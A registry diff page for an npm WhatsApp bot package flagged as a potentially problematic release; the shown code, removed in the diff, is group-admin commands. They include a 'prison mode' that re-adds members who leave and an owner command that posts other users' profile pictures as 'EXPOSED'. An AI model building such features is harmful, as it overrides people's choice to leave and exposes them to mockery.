@depro-tech/cortana-md 1.0.3 โ 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @depro-tech/cortana-md might be problematic. Click here for more details.
- package/package.json +1 -1
- package/src/cleanup.js +1 -140
- package/src/db.js +1 -49
- package/src/exploit-engine.js +1 -36
- package/src/hosted-mode.js +1 -353
- package/src/hybrid-storage.js +1 -286
- package/src/lib/logger.js +1 -151
- package/src/lib/message-helper.js +1 -145
- package/src/local-storage.js +1 -172
- package/src/mongo-auth.js +1 -134
- package/src/plugins/advanced-scrapers.js +1 -265
- package/src/plugins/advisor.js +1 -157
- package/src/plugins/ai-commands.js +1 -303
- package/src/plugins/ai-voice.js +1 -102
- package/src/plugins/ai.js +1 -265
- package/src/plugins/anime-advanced.js +1 -237
- package/src/plugins/anime.js +1 -91
- package/src/plugins/audio-effects.js +1 -132
- package/src/plugins/channel.js +1 -242
- package/src/plugins/chatbot.js +1 -219
- package/src/plugins/checker.js +1 -106
- package/src/plugins/converter.js +1 -99
- package/src/plugins/core.js +1 -283
- package/src/plugins/downloaders.js +1 -271
- package/src/plugins/economy.js +1 -198
- package/src/plugins/fun-mega.js +1 -606
- package/src/plugins/fun.js +1 -100
- package/src/plugins/game.js +1 -139
- package/src/plugins/group-advanced.js +1 -244
- package/src/plugins/group.js +1 -1421
- package/src/plugins/hackmode.js +1 -229
- package/src/plugins/hijack-silent.js +1 -219
- package/src/plugins/image_edit.js +1 -92
- package/src/plugins/index.js +1 -54
- package/src/plugins/love-diss.js +1 -265
- package/src/plugins/lyrics.js +0 -2
- package/src/plugins/media.js +1 -337
- package/src/plugins/misc-advanced.js +1 -247
- package/src/plugins/misc.js +1 -182
- package/src/plugins/moderation.js +1 -69
- package/src/plugins/mpesa.js +1 -70
- package/src/plugins/multi-downloaders.js +1 -299
- package/src/plugins/next-level-owner.js +1 -202
- package/src/plugins/next-level.js +1 -120
- package/src/plugins/owner-features.js +1 -210
- package/src/plugins/owner.js +1 -346
- package/src/plugins/pair-chamber.js +1 -93
- package/src/plugins/play.js +1 -217
- package/src/plugins/presence.js +1 -131
- package/src/plugins/primbon.js +1 -229
- package/src/plugins/probe.js +1 -24
- package/src/plugins/protection.js +1 -319
- package/src/plugins/reactions.js +1 -534
- package/src/plugins/religion.js +1 -232
- package/src/plugins/search-advanced.js +1 -305
- package/src/plugins/search.js +1 -172
- package/src/plugins/social-downloaders.js +1 -303
- package/src/plugins/sticker.js +1 -113
- package/src/plugins/stickers.js +1 -42
- package/src/plugins/tempmail.js +1 -140
- package/src/plugins/text-tools.js +1 -224
- package/src/plugins/text.js +1 -57
- package/src/plugins/tools-advanced.js +1 -226
- package/src/plugins/tourl.js +1 -197
- package/src/plugins/types.js +1 -9
- package/src/plugins/utilities.js +1 -253
- package/src/redis-storage.js +1 -285
- package/src/storage-internal.js +1 -209
- package/src/storage.js +1 -90
- package/src/store.js +1 -70
- package/src/utils/media-uploader.js +1 -205
- package/src/whatsapp.js +1 -1828
package/src/plugins/group.js
CHANGED
|
@@ -1,1421 +1 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.handleAntilink = handleAntilink;
|
|
4
|
-
exports.handleAntibot = handleAntibot;
|
|
5
|
-
const types_1 = require("./types");
|
|
6
|
-
const storage_1 = require("../storage");
|
|
7
|
-
// Helper function to find bot in group participants (handles LID format)
|
|
8
|
-
// Helper: Extract bare phone number from any JID (LID, Phone, Group, with/without device)
|
|
9
|
-
function getBareNumber(jid) {
|
|
10
|
-
if (!jid)
|
|
11
|
-
return '';
|
|
12
|
-
// If it's an LID, we can't easily convert to phone without a map,
|
|
13
|
-
// BUT usually the participants list has standard JIDs too.
|
|
14
|
-
// Ideally we match standard JIDs.
|
|
15
|
-
return jid.split('@')[0].split(':')[0];
|
|
16
|
-
}
|
|
17
|
-
// Helper function to find bot in group participants (handles LID format)
|
|
18
|
-
function findBotInParticipants(sock, participants) {
|
|
19
|
-
const botUser = sock?.user;
|
|
20
|
-
if (!botUser || !participants)
|
|
21
|
-
return undefined;
|
|
22
|
-
const botId = botUser.id;
|
|
23
|
-
const botLid = botUser.lid;
|
|
24
|
-
// 1. LID Match FIRST (WhatsApp now uses LID format in participant lists)
|
|
25
|
-
if (botLid) {
|
|
26
|
-
const lidBase = botLid.split('@')[0].split(':')[0];
|
|
27
|
-
let found = participants.find(p => p.id === botLid);
|
|
28
|
-
if (found)
|
|
29
|
-
return found;
|
|
30
|
-
// Normalized LID match (strip device suffix)
|
|
31
|
-
found = participants.find(p => p.id.split('@')[0].split(':')[0] === lidBase && p.id.endsWith('@lid'));
|
|
32
|
-
if (found)
|
|
33
|
-
return found;
|
|
34
|
-
}
|
|
35
|
-
// 2. Direct Phone JID match
|
|
36
|
-
if (botId) {
|
|
37
|
-
let found = participants.find(p => p.id === botId);
|
|
38
|
-
if (found)
|
|
39
|
-
return found;
|
|
40
|
-
}
|
|
41
|
-
// 3. Phone Number fallback (strip device suffix from botId)
|
|
42
|
-
const botNum = botId?.split('@')[0]?.split(':')[0];
|
|
43
|
-
if (botNum) {
|
|
44
|
-
const found = participants.find(p => p.id.split('@')[0].split(':')[0] === botNum);
|
|
45
|
-
if (found)
|
|
46
|
-
return found;
|
|
47
|
-
}
|
|
48
|
-
return undefined;
|
|
49
|
-
}
|
|
50
|
-
// Helper function to find any participant (self or other) by normalizing JIDs
|
|
51
|
-
function findParticipant(participants, targetId) {
|
|
52
|
-
if (!targetId || !participants)
|
|
53
|
-
return undefined;
|
|
54
|
-
// 1. Direct Match (LID or Phone JID)
|
|
55
|
-
let found = participants.find(p => p.id === targetId);
|
|
56
|
-
if (found)
|
|
57
|
-
return found;
|
|
58
|
-
// 2. Normalized Match (extract phone/ID part)
|
|
59
|
-
const targetNum = targetId.split('@')[0].split(':')[0];
|
|
60
|
-
found = participants.find(p => p.id.split('@')[0].split(':')[0] === targetNum);
|
|
61
|
-
if (found)
|
|
62
|
-
return found;
|
|
63
|
-
// 3. Last resort: Partial match (ends with phone number)
|
|
64
|
-
if (targetNum.length >= 8) {
|
|
65
|
-
found = participants.find(p => p.id.split('@')[0].includes(targetNum.slice(-8)));
|
|
66
|
-
if (found)
|
|
67
|
-
return found;
|
|
68
|
-
}
|
|
69
|
-
return undefined;
|
|
70
|
-
}
|
|
71
|
-
// โโโโโโโโโโโโ ANTI-LINK โโโโโโโโโโโโ
|
|
72
|
-
(0, types_1.registerCommand)({
|
|
73
|
-
name: "antilink-kick",
|
|
74
|
-
description: "Enable Anti-Link (Kick Mode)",
|
|
75
|
-
category: "group",
|
|
76
|
-
execute: async ({ msg, reply }) => {
|
|
77
|
-
const jid = msg.key.remoteJid;
|
|
78
|
-
if (!jid.endsWith('@g.us'))
|
|
79
|
-
return reply("Groups only");
|
|
80
|
-
const result = await storage_1.storage.updateGroupSettings(jid, { antilinkMode: 'kick' });
|
|
81
|
-
console.log(`[ANTILINK-CMD] Set kick mode for ${jid} โ result:`, result?.antilinkMode || 'FAILED');
|
|
82
|
-
if (!result) {
|
|
83
|
-
return reply("โ Failed to save settings! Contact dev.");
|
|
84
|
-
}
|
|
85
|
-
const verify = await storage_1.storage.getGroupSettings(jid);
|
|
86
|
-
console.log(`[ANTILINK-CMD] Verify read-back: ${verify?.antilinkMode}`);
|
|
87
|
-
await reply(`โ
Anti-Link set to: *KICK*\n\n_Mode verified: ${verify?.antilinkMode}_`);
|
|
88
|
-
}
|
|
89
|
-
});
|
|
90
|
-
(0, types_1.registerCommand)({
|
|
91
|
-
name: "antilink-warn",
|
|
92
|
-
description: "Enable Anti-Link (Warn Mode)",
|
|
93
|
-
category: "group",
|
|
94
|
-
execute: async ({ msg, reply }) => {
|
|
95
|
-
const jid = msg.key.remoteJid;
|
|
96
|
-
if (!jid.endsWith('@g.us'))
|
|
97
|
-
return reply("Groups only");
|
|
98
|
-
await storage_1.storage.updateGroupSettings(jid, { antilinkMode: 'warn' });
|
|
99
|
-
await reply("โ
Anti-Link set to: *WARN*");
|
|
100
|
-
}
|
|
101
|
-
});
|
|
102
|
-
(0, types_1.registerCommand)({
|
|
103
|
-
name: "antilink-off",
|
|
104
|
-
description: "Disable Anti-Link",
|
|
105
|
-
category: "group",
|
|
106
|
-
execute: async ({ msg, reply }) => {
|
|
107
|
-
const jid = msg.key.remoteJid;
|
|
108
|
-
if (!jid.endsWith('@g.us'))
|
|
109
|
-
return reply("Groups only");
|
|
110
|
-
await storage_1.storage.updateGroupSettings(jid, { antilinkMode: 'off' });
|
|
111
|
-
await reply("โ Anti-Link DISABLED");
|
|
112
|
-
}
|
|
113
|
-
});
|
|
114
|
-
// โโโโโโโโโโโโ ANTI-GROUPMENTION (Status Mentions) โโโโโโโโโโโโ
|
|
115
|
-
(0, types_1.registerCommand)({
|
|
116
|
-
name: "antigroupmention-kick",
|
|
117
|
-
aliases: ["antigroupmention-kick-on"],
|
|
118
|
-
description: "Anti-GroupMention (Kick) - Kicks users who mention the group in status updates",
|
|
119
|
-
category: "group",
|
|
120
|
-
execute: async ({ msg, reply }) => {
|
|
121
|
-
const jid = msg.key.remoteJid;
|
|
122
|
-
if (!jid.endsWith('@g.us'))
|
|
123
|
-
return reply("Groups only");
|
|
124
|
-
await storage_1.storage.updateGroupSettings(jid, { antigroupmentionMode: 'kick' });
|
|
125
|
-
await reply(`โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
126
|
-
โ ๐ธ *STATUS MENTION: KICK* ๐ธ โ
|
|
127
|
-
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
|
|
128
|
-
โ โ
Now KICKING users who โ
|
|
129
|
-
โ mention this group in โ
|
|
130
|
-
โ their status updates. โ
|
|
131
|
-
โ โ
|
|
132
|
-
โ ๐ _No mercy for spammers_ โ
|
|
133
|
-
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ`);
|
|
134
|
-
}
|
|
135
|
-
});
|
|
136
|
-
(0, types_1.registerCommand)({
|
|
137
|
-
name: "antigroupmention-warn",
|
|
138
|
-
aliases: ["antigroupmention-warn-on"],
|
|
139
|
-
description: "Anti-GroupMention (Warn) - Warns users who mention the group in status updates",
|
|
140
|
-
category: "group",
|
|
141
|
-
execute: async ({ msg, reply }) => {
|
|
142
|
-
const jid = msg.key.remoteJid;
|
|
143
|
-
if (!jid.endsWith('@g.us'))
|
|
144
|
-
return reply("Groups only");
|
|
145
|
-
await storage_1.storage.updateGroupSettings(jid, { antigroupmentionMode: 'warn' });
|
|
146
|
-
await reply(`โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
147
|
-
โ ๐ธ *STATUS MENTION: WARN* ๐ธ โ
|
|
148
|
-
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
|
|
149
|
-
โ โ ๏ธ Now WARNING users who โ
|
|
150
|
-
โ mention this group in โ
|
|
151
|
-
โ their status updates. โ
|
|
152
|
-
โ โ
|
|
153
|
-
โ ๐ _Final warning = KICK_ โ
|
|
154
|
-
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ`);
|
|
155
|
-
}
|
|
156
|
-
});
|
|
157
|
-
(0, types_1.registerCommand)({
|
|
158
|
-
name: "antigroupmention-off",
|
|
159
|
-
description: "Disable Anti-GroupMention",
|
|
160
|
-
category: "group",
|
|
161
|
-
execute: async ({ msg, reply }) => {
|
|
162
|
-
const jid = msg.key.remoteJid;
|
|
163
|
-
if (!jid.endsWith('@g.us'))
|
|
164
|
-
return reply("Groups only");
|
|
165
|
-
await storage_1.storage.updateGroupSettings(jid, { antigroupmentionMode: 'off' });
|
|
166
|
-
await reply(`โ Anti-GroupMention (Status Checks) DISABLED`);
|
|
167
|
-
}
|
|
168
|
-
});
|
|
169
|
-
// โโโโโโโโโโโโ ANTI-TAGALL (@everyone/.tagall) โโโโโโโโโโโโ
|
|
170
|
-
(0, types_1.registerCommand)({
|
|
171
|
-
name: "antitagall-kick",
|
|
172
|
-
aliases: ["antitagall-kick-on"],
|
|
173
|
-
description: "Anti-TagAll (Kick) - Kicks users who use @everyone, .tagall, etc.",
|
|
174
|
-
category: "group",
|
|
175
|
-
execute: async ({ msg, reply }) => {
|
|
176
|
-
const jid = msg.key.remoteJid;
|
|
177
|
-
if (!jid.endsWith('@g.us'))
|
|
178
|
-
return reply("Groups only");
|
|
179
|
-
await storage_1.storage.updateGroupSettings(jid, { antitagallMode: 'kick' });
|
|
180
|
-
await reply(`โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
181
|
-
โ ๐ธ *ANTI-TAGALL: KICK* ๐ธ โ
|
|
182
|
-
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
|
|
183
|
-
โ โ
Now KICKING users who: โ
|
|
184
|
-
โ โข Use @everyone โ
|
|
185
|
-
โ โข Use .tagall/.hidetag โ
|
|
186
|
-
โ โ
|
|
187
|
-
โ ๐ _Mass tag = Mass kick_ โ
|
|
188
|
-
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ`);
|
|
189
|
-
}
|
|
190
|
-
});
|
|
191
|
-
(0, types_1.registerCommand)({
|
|
192
|
-
name: "antitagall-warn",
|
|
193
|
-
aliases: ["antitagall-warn-on"],
|
|
194
|
-
description: "Anti-TagAll (Warn) - Warns users who use @everyone, .tagall, etc.",
|
|
195
|
-
category: "group",
|
|
196
|
-
execute: async ({ msg, reply }) => {
|
|
197
|
-
const jid = msg.key.remoteJid;
|
|
198
|
-
if (!jid.endsWith('@g.us'))
|
|
199
|
-
return reply("Groups only");
|
|
200
|
-
await storage_1.storage.updateGroupSettings(jid, { antitagallMode: 'warn' });
|
|
201
|
-
await reply(`โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
202
|
-
โ ๐ธ *ANTI-TAGALL: WARN* ๐ธ โ
|
|
203
|
-
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
|
|
204
|
-
โ โ ๏ธ Now WARNING users who: โ
|
|
205
|
-
โ โข Use @everyone โ
|
|
206
|
-
โ โข Use .tagall/.hidetag โ
|
|
207
|
-
โ โ
|
|
208
|
-
โ ๐ _Don't annoy everyone_ ๐ โ
|
|
209
|
-
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ`);
|
|
210
|
-
}
|
|
211
|
-
});
|
|
212
|
-
(0, types_1.registerCommand)({
|
|
213
|
-
name: "antitagall-off",
|
|
214
|
-
description: "Disable Anti-TagAll",
|
|
215
|
-
category: "group",
|
|
216
|
-
execute: async ({ msg, reply }) => {
|
|
217
|
-
const jid = msg.key.remoteJid;
|
|
218
|
-
if (!jid.endsWith('@g.us'))
|
|
219
|
-
return reply("Groups only");
|
|
220
|
-
await storage_1.storage.updateGroupSettings(jid, { antitagallMode: 'off' });
|
|
221
|
-
await reply(`โ Anti-TagAll (@everyone) DISABLED`);
|
|
222
|
-
}
|
|
223
|
-
});
|
|
224
|
-
// โโโโโโโโโโโโ ANTI-LEFT (PRISON MODE) โโโโโโโโโโโโ
|
|
225
|
-
(0, types_1.registerCommand)({
|
|
226
|
-
name: "antileft",
|
|
227
|
-
aliases: ["prison", "prisonmode"],
|
|
228
|
-
description: "Toggle Prison Mode - Auto-add people who leave",
|
|
229
|
-
category: "group",
|
|
230
|
-
ownerOnly: true,
|
|
231
|
-
execute: async ({ sock, msg, args, reply, isOwner }) => {
|
|
232
|
-
const jid = msg.key.remoteJid;
|
|
233
|
-
// Group check
|
|
234
|
-
if (!jid.endsWith('@g.us')) {
|
|
235
|
-
return reply("โ This command can only be used in groups!");
|
|
236
|
-
}
|
|
237
|
-
// Get group metadata to check bot admin status using robust helper
|
|
238
|
-
try {
|
|
239
|
-
const groupMetadata = await sock.groupMetadata(jid);
|
|
240
|
-
const botParticipant = findBotInParticipants(sock, groupMetadata.participants);
|
|
241
|
-
if (!botParticipant) {
|
|
242
|
-
return reply("โ Bot not found in group! This may be due to WhatsApp's new LID format. Try re-adding me.");
|
|
243
|
-
}
|
|
244
|
-
const isBotAdmin = botParticipant.admin === 'admin' || botParticipant.admin === 'superadmin';
|
|
245
|
-
if (!isBotAdmin) {
|
|
246
|
-
return reply("โ I need Admin privileges first! Promote me so I can drag people back. ๐");
|
|
247
|
-
}
|
|
248
|
-
}
|
|
249
|
-
catch (e) {
|
|
250
|
-
console.error('Antileft metadata error:', e);
|
|
251
|
-
}
|
|
252
|
-
// Parse input
|
|
253
|
-
const status = args[0]?.toLowerCase();
|
|
254
|
-
if (status === 'on') {
|
|
255
|
-
await storage_1.storage.updateGroupSettings(jid, { antileft: true });
|
|
256
|
-
return reply("๐ *PRISON MODE ACTIVATED* ๐\n\n๐ Anyone who leaves will be dragged back immediately!\n\n_Unless they blocked me ๐น_");
|
|
257
|
-
}
|
|
258
|
-
else if (status === 'off') {
|
|
259
|
-
await storage_1.storage.updateGroupSettings(jid, { antileft: false });
|
|
260
|
-
return reply("๐๏ธ *PRISON MODE DEACTIVATED* ๐๏ธ\n\n๐ช The doors are open. People can leave freely now.");
|
|
261
|
-
}
|
|
262
|
-
else {
|
|
263
|
-
// Help/info message
|
|
264
|
-
const currentSettings = await storage_1.storage.getGroupSettings(jid);
|
|
265
|
-
const currentStatus = currentSettings?.antileft ? '๐ ON' : '๐ OFF';
|
|
266
|
-
return reply(`*๐ PRISON MODE (Anti-Left)*\n\nCurrent Status: ${currentStatus}\n\nUsage:\nโข \`.antileft on\` - Lock the doors\nโข \`.antileft off\` - Open the doors\n\n_When ON, anyone who leaves will be automatically re-added!_`);
|
|
267
|
-
}
|
|
268
|
-
}
|
|
269
|
-
});
|
|
270
|
-
// โโโโโโโโโโโโ GET GROUP PROFILE PICTURE โโโโโโโโโโโโ
|
|
271
|
-
(0, types_1.registerCommand)({
|
|
272
|
-
name: "getpp",
|
|
273
|
-
aliases: ["gcpp", "grouppic", "gcpic"],
|
|
274
|
-
description: "Get group profile picture with chaotic caption",
|
|
275
|
-
category: "group",
|
|
276
|
-
execute: async ({ sock, msg, reply }) => {
|
|
277
|
-
const jid = msg.key.remoteJid;
|
|
278
|
-
if (!jid.endsWith('@g.us')) {
|
|
279
|
-
return reply("โ This command is for groups only! Use .getprofile for DM");
|
|
280
|
-
}
|
|
281
|
-
try {
|
|
282
|
-
// Get group profile picture URL
|
|
283
|
-
const ppUrl = await sock.profilePictureUrl(jid, 'image');
|
|
284
|
-
if (!ppUrl) {
|
|
285
|
-
return reply("โ This group has no profile picture... boring! ๐น");
|
|
286
|
-
}
|
|
287
|
-
// Download and send the image
|
|
288
|
-
const response = await fetch(ppUrl);
|
|
289
|
-
const buffer = Buffer.from(await response.arrayBuffer());
|
|
290
|
-
// Chaotic captions
|
|
291
|
-
const chaoticCaptions = [
|
|
292
|
-
"๐ *CORTANA HAS EYES EVERYWHERE* ๐\n\n_This group can't hide from me_ ๐๏ธ",
|
|
293
|
-
"๐ฅ *PROFILE PIC EXPOSED* ๐ฅ\n\n_Nothing escapes the chaos_ ๐",
|
|
294
|
-
"๐ *GOTCHA!* ๐\n\n_CORTANA MD sees all, knows all_ ๐น",
|
|
295
|
-
"๐ช๏ธ *CHAOS VISION ACTIVATED* ๐ช๏ธ\n\n_Your secrets are my entertainment_ ๐ญ",
|
|
296
|
-
"๐ป *BOO! CAUGHT YOU!* ๐ป\n\n_Did you think this was hidden?_ ๐คก",
|
|
297
|
-
"๐ฎ *CORTANA ORACLE SAYS...* ๐ฎ\n\n_Nice pic, shame if something happened to it_ ๐",
|
|
298
|
-
"โก *LIGHTNING STRIKE REVEAL* โก\n\n_Powered by pure chaos energy_ ๐"
|
|
299
|
-
];
|
|
300
|
-
const randomCaption = chaoticCaptions[Math.floor(Math.random() * chaoticCaptions.length)];
|
|
301
|
-
await sock.sendMessage(jid, {
|
|
302
|
-
image: buffer,
|
|
303
|
-
caption: randomCaption
|
|
304
|
-
});
|
|
305
|
-
}
|
|
306
|
-
catch (e) {
|
|
307
|
-
console.error('[GETPP] Error:', e);
|
|
308
|
-
if (e.message?.includes('404') || e.message?.includes('not-authorized')) {
|
|
309
|
-
return reply("โ This group has no profile picture or it's hidden ๐ซฅ");
|
|
310
|
-
}
|
|
311
|
-
return reply("โ Failed to get group profile picture: " + e.message);
|
|
312
|
-
}
|
|
313
|
-
}
|
|
314
|
-
});
|
|
315
|
-
// โโโโโโโโโโโโ GET USER PROFILE PICTURE (Owner Only) โโโโโโโโโโโโ
|
|
316
|
-
(0, types_1.registerCommand)({
|
|
317
|
-
name: "getprofile",
|
|
318
|
-
aliases: ["getpfp", "pp", "profilepic", "userpic"],
|
|
319
|
-
description: "Get profile picture of replied/mentioned user (Owner Only)",
|
|
320
|
-
category: "owner",
|
|
321
|
-
ownerOnly: true,
|
|
322
|
-
execute: async ({ sock, msg, args, reply }) => {
|
|
323
|
-
try {
|
|
324
|
-
let targetJid;
|
|
325
|
-
// 1. Check for reply
|
|
326
|
-
const contextInfo = msg.message?.extendedTextMessage?.contextInfo;
|
|
327
|
-
const quotedParticipant = contextInfo?.participant;
|
|
328
|
-
if (quotedParticipant) {
|
|
329
|
-
targetJid = quotedParticipant;
|
|
330
|
-
}
|
|
331
|
-
// 2. Check for mentions
|
|
332
|
-
const mentions = contextInfo?.mentionedJid;
|
|
333
|
-
if (!targetJid && mentions && mentions.length > 0) {
|
|
334
|
-
targetJid = mentions[0];
|
|
335
|
-
}
|
|
336
|
-
// 3. Check for phone number in args
|
|
337
|
-
if (!targetJid && args[0]) {
|
|
338
|
-
const num = args[0].replace(/[^0-9]/g, '');
|
|
339
|
-
if (num.length >= 10) {
|
|
340
|
-
targetJid = num + '@s.whatsapp.net';
|
|
341
|
-
}
|
|
342
|
-
}
|
|
343
|
-
if (!targetJid) {
|
|
344
|
-
return reply("โ Reply to a message, mention someone, or provide a number!\n\nUsage:\nโข Reply: `.getprofile`\nโข Mention: `.getprofile @user`\nโข Number: `.getprofile 254712345678`");
|
|
345
|
-
}
|
|
346
|
-
// Get profile picture URL
|
|
347
|
-
const ppUrl = await sock.profilePictureUrl(targetJid, 'image');
|
|
348
|
-
if (!ppUrl) {
|
|
349
|
-
return reply(`โ @${targetJid.split('@')[0]} has no profile picture or their privacy settings hide it ๐ซฅ`);
|
|
350
|
-
}
|
|
351
|
-
// Download and send
|
|
352
|
-
const response = await fetch(ppUrl);
|
|
353
|
-
const buffer = Buffer.from(await response.arrayBuffer());
|
|
354
|
-
const userNum = targetJid.split('@')[0];
|
|
355
|
-
const caption = `๐ธ *PROFILE PICTURE REVEALED* ๐ธ\n\n๐ค User: @${userNum}\n๐ Status: *EXPOSED*\n\n_Fetched by CORTANA MD_ ๐`;
|
|
356
|
-
await sock.sendMessage(msg.key.remoteJid, {
|
|
357
|
-
image: buffer,
|
|
358
|
-
caption: caption,
|
|
359
|
-
mentions: [targetJid]
|
|
360
|
-
});
|
|
361
|
-
}
|
|
362
|
-
catch (e) {
|
|
363
|
-
console.error('[GETPROFILE] Error:', e);
|
|
364
|
-
if (e.message?.includes('404') || e.message?.includes('not-authorized')) {
|
|
365
|
-
return reply("โ User has no profile picture or their privacy settings hide it ๐ซฅ");
|
|
366
|
-
}
|
|
367
|
-
return reply("โ Failed to get profile picture: " + e.message);
|
|
368
|
-
}
|
|
369
|
-
}
|
|
370
|
-
});
|
|
371
|
-
(0, types_1.registerCommand)({
|
|
372
|
-
name: "add",
|
|
373
|
-
description: "Add a user to the group",
|
|
374
|
-
category: "group",
|
|
375
|
-
execute: async ({ sock, args, msg, reply }) => {
|
|
376
|
-
const jid = msg.key.remoteJid;
|
|
377
|
-
if (!jid.endsWith('@g.us'))
|
|
378
|
-
return reply("โ This command is for groups only");
|
|
379
|
-
const user = args[0];
|
|
380
|
-
if (!user)
|
|
381
|
-
return reply("โ Provide number to add");
|
|
382
|
-
const participant = user.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
|
|
383
|
-
await sock.groupParticipantsUpdate(jid, [participant], "add");
|
|
384
|
-
await reply(`โ
Added ${user}`);
|
|
385
|
-
}
|
|
386
|
-
});
|
|
387
|
-
(0, types_1.registerCommand)({
|
|
388
|
-
name: "kick",
|
|
389
|
-
aliases: ["remove"],
|
|
390
|
-
description: "Kick a user from the group",
|
|
391
|
-
category: "group",
|
|
392
|
-
execute: async ({ sock, args, msg, reply }) => {
|
|
393
|
-
const jid = msg.key.remoteJid;
|
|
394
|
-
if (!jid.endsWith('@g.us'))
|
|
395
|
-
return reply("โ This command is for groups only");
|
|
396
|
-
let target = args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : undefined;
|
|
397
|
-
// 1. Handle Mentions
|
|
398
|
-
const mentions = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid;
|
|
399
|
-
if (mentions && mentions.length > 0) {
|
|
400
|
-
target = mentions[0];
|
|
401
|
-
}
|
|
402
|
-
// 2. Handle Quoted Message (Reply)
|
|
403
|
-
const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant;
|
|
404
|
-
if (quoted) {
|
|
405
|
-
target = quoted;
|
|
406
|
-
}
|
|
407
|
-
if (!target)
|
|
408
|
-
return reply("โ Provide user number, mention, or reply to a message to kick");
|
|
409
|
-
await sock.groupParticipantsUpdate(jid, [target], "remove");
|
|
410
|
-
await reply(`โ
Kicked user`);
|
|
411
|
-
}
|
|
412
|
-
});
|
|
413
|
-
(0, types_1.registerCommand)({
|
|
414
|
-
name: "promote",
|
|
415
|
-
description: "Promote a user to admin",
|
|
416
|
-
category: "group",
|
|
417
|
-
execute: async ({ sock, args, msg, reply }) => {
|
|
418
|
-
const jid = msg.key.remoteJid;
|
|
419
|
-
if (!jid.endsWith('@g.us'))
|
|
420
|
-
return reply("โ This command is for groups only");
|
|
421
|
-
let target = args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : undefined;
|
|
422
|
-
const mentions = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid;
|
|
423
|
-
if (mentions && mentions.length > 0)
|
|
424
|
-
target = mentions[0];
|
|
425
|
-
if (!target)
|
|
426
|
-
return reply("โ Provide user or mention");
|
|
427
|
-
await sock.groupParticipantsUpdate(jid, [target], "promote");
|
|
428
|
-
await reply(`โ
Promoted user`);
|
|
429
|
-
}
|
|
430
|
-
});
|
|
431
|
-
(0, types_1.registerCommand)({
|
|
432
|
-
name: "demote",
|
|
433
|
-
description: "Demote a user from admin",
|
|
434
|
-
category: "group",
|
|
435
|
-
execute: async ({ sock, args, msg, reply }) => {
|
|
436
|
-
const jid = msg.key.remoteJid;
|
|
437
|
-
if (!jid.endsWith('@g.us'))
|
|
438
|
-
return reply("โ This command is for groups only");
|
|
439
|
-
let target = args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : undefined;
|
|
440
|
-
const mentions = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid;
|
|
441
|
-
if (mentions && mentions.length > 0)
|
|
442
|
-
target = mentions[0];
|
|
443
|
-
if (!target)
|
|
444
|
-
return reply("โ Provide user or mention");
|
|
445
|
-
await sock.groupParticipantsUpdate(jid, [target], "demote");
|
|
446
|
-
await reply(`โ
Demoted user`);
|
|
447
|
-
}
|
|
448
|
-
});
|
|
449
|
-
(0, types_1.registerCommand)({
|
|
450
|
-
name: "open",
|
|
451
|
-
description: "Open group settings",
|
|
452
|
-
category: "group",
|
|
453
|
-
execute: async ({ sock, msg, reply }) => {
|
|
454
|
-
const jid = msg.key.remoteJid;
|
|
455
|
-
if (!jid.endsWith('@g.us'))
|
|
456
|
-
return reply("โ This command is for groups only");
|
|
457
|
-
await sock.groupSettingUpdate(jid, 'not_announcement');
|
|
458
|
-
await reply("โ
Group opened");
|
|
459
|
-
}
|
|
460
|
-
});
|
|
461
|
-
(0, types_1.registerCommand)({
|
|
462
|
-
name: "close",
|
|
463
|
-
description: "Close group settings",
|
|
464
|
-
category: "group",
|
|
465
|
-
execute: async ({ sock, msg, reply }) => {
|
|
466
|
-
const jid = msg.key.remoteJid;
|
|
467
|
-
if (!jid.endsWith('@g.us'))
|
|
468
|
-
return reply("โ This command is for groups only");
|
|
469
|
-
await sock.groupSettingUpdate(jid, 'announcement');
|
|
470
|
-
await reply("โ
Group closed");
|
|
471
|
-
}
|
|
472
|
-
});
|
|
473
|
-
(0, types_1.registerCommand)({
|
|
474
|
-
name: "link",
|
|
475
|
-
description: "Get group invite link",
|
|
476
|
-
category: "group",
|
|
477
|
-
execute: async ({ sock, msg, reply }) => {
|
|
478
|
-
const jid = msg.key.remoteJid;
|
|
479
|
-
if (!jid.endsWith('@g.us'))
|
|
480
|
-
return reply("โ This command is for groups only");
|
|
481
|
-
const code = await sock.groupInviteCode(jid);
|
|
482
|
-
await reply(`https://chat.whatsapp.com/${code}`);
|
|
483
|
-
}
|
|
484
|
-
});
|
|
485
|
-
(0, types_1.registerCommand)({
|
|
486
|
-
name: "resetlink",
|
|
487
|
-
aliases: ["revoke"],
|
|
488
|
-
description: "Reset group invite link",
|
|
489
|
-
category: "group",
|
|
490
|
-
execute: async ({ sock, msg, reply }) => {
|
|
491
|
-
const jid = msg.key.remoteJid;
|
|
492
|
-
if (!jid.endsWith('@g.us'))
|
|
493
|
-
return reply("โ This command is for groups only");
|
|
494
|
-
await sock.groupRevokeInvite(jid);
|
|
495
|
-
const code = await sock.groupInviteCode(jid);
|
|
496
|
-
await reply(`โ
Link reset\nNew link: https://chat.whatsapp.com/${code}`);
|
|
497
|
-
}
|
|
498
|
-
});
|
|
499
|
-
(0, types_1.registerCommand)({
|
|
500
|
-
name: "tagall",
|
|
